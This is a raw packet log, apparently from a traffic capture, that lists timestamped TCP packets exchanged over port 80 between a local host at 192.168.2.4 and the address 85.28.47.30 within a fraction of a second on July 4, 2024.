Jul 4, 2024 20:34:06.341279030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341375113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341420889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341443062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341459990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341471910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341484070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341486931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341501951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341504097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341516018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341528893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341531038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341540098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341540098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341543913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341572046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341582060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341624022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341639996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341654062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341666937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341667891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341695070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341718912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432288885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432312012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432327032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432341099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432356119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432368994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432375908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432384014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432398081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432404995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432413101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432426929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432441950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432444096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432463884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432465076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432477951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432497978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432512045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432512999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432512999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432529926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432543039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432543993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432557106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432571888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432574034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432591915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432598114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432606936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432620049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432624102 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432635069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432651997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432662010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432679892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432704926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.432965040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.432979107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433007956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433022022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433119059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433135033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433147907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433161020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433161974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433176994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433177948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433192015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433195114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433212996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433213949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433228970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433242083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433244944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433257103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433269978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433275938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433285952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433300018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433305025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433314085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433326960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433332920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433341026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433356047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433367014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433372021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433379889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433386087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433396101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433399916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433413982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433427095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433428049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433445930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433456898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433478117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433502913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433754921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433769941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433784962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433799982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433810949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433832884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433887959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433902025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433916092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433922052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433929920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433943987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433944941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433959007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433964014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.433973074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433985949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.433990002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434000015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434010983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434015036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434032917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434037924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434046984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434062004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434062958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434076071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434088945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434088945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434103966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434106112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434120893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434135914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434137106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434150934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434164047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434166908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434180975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434185028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434206009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434246063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434669971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434684992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434698105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434711933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434720993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434745073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434761047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434824944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434839010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434853077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434866905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434869051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434886932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434892893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434904099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434919119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434920073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434931993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434933901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434947014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434954882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434961081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434976101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.434982061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.434989929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435003042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435003996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435018063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435030937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435035944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435045958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435055971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435060024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435070038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435074091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435089111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435100079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435103893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435117960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435131073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435132980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435148001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435148954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435174942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435195923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435436010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435451031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435478926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435493946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435513020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435528994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435542107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435555935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435559034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435570002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435573101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435584068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435592890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435597897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.435611010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.435643911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526134014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526210070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526298046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526352882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526462078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526477098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526490927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526506901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526518106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526521921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526535034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526536942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526550055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526566029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526573896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526578903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526592016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526601076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526617050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526618004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526638031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526647091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526660919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526670933 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526675940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526689053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526690960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526702881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526707888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526716948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526724100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526732922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526746035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526752949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526767015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526771069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526782036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526796103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526798964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526808023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526814938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526822090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526844025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526844978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526858091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526865959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526873112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526878119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526886940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526910067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526930094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526937008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526946068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.526972055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.526984930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527120113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527167082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527291059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527307987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527349949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527350903 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527424097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527468920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527595997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527643919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527775049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527791023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527842999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.527966022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.527981997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528011084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528063059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528155088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528203964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528321981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528337002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528409958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528520107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528537989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528551102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528564930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528564930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528579950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528595924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528598070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528610945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528624058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528625011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528637886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528662920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528664112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528676987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528681040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528695107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528707027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528707981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528723001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528733969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528736115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528749943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528759956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528774023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528778076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528788090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528801918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528806925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528815985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528829098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528829098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528845072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528858900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528860092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528872013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.528887033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.528923988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529180050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529194117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529210091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529225111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529234886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529261112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529493093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529537916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529591084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529604912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529618025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529630899 CEST	80	49730	85.28.47.30	192.168.2.4
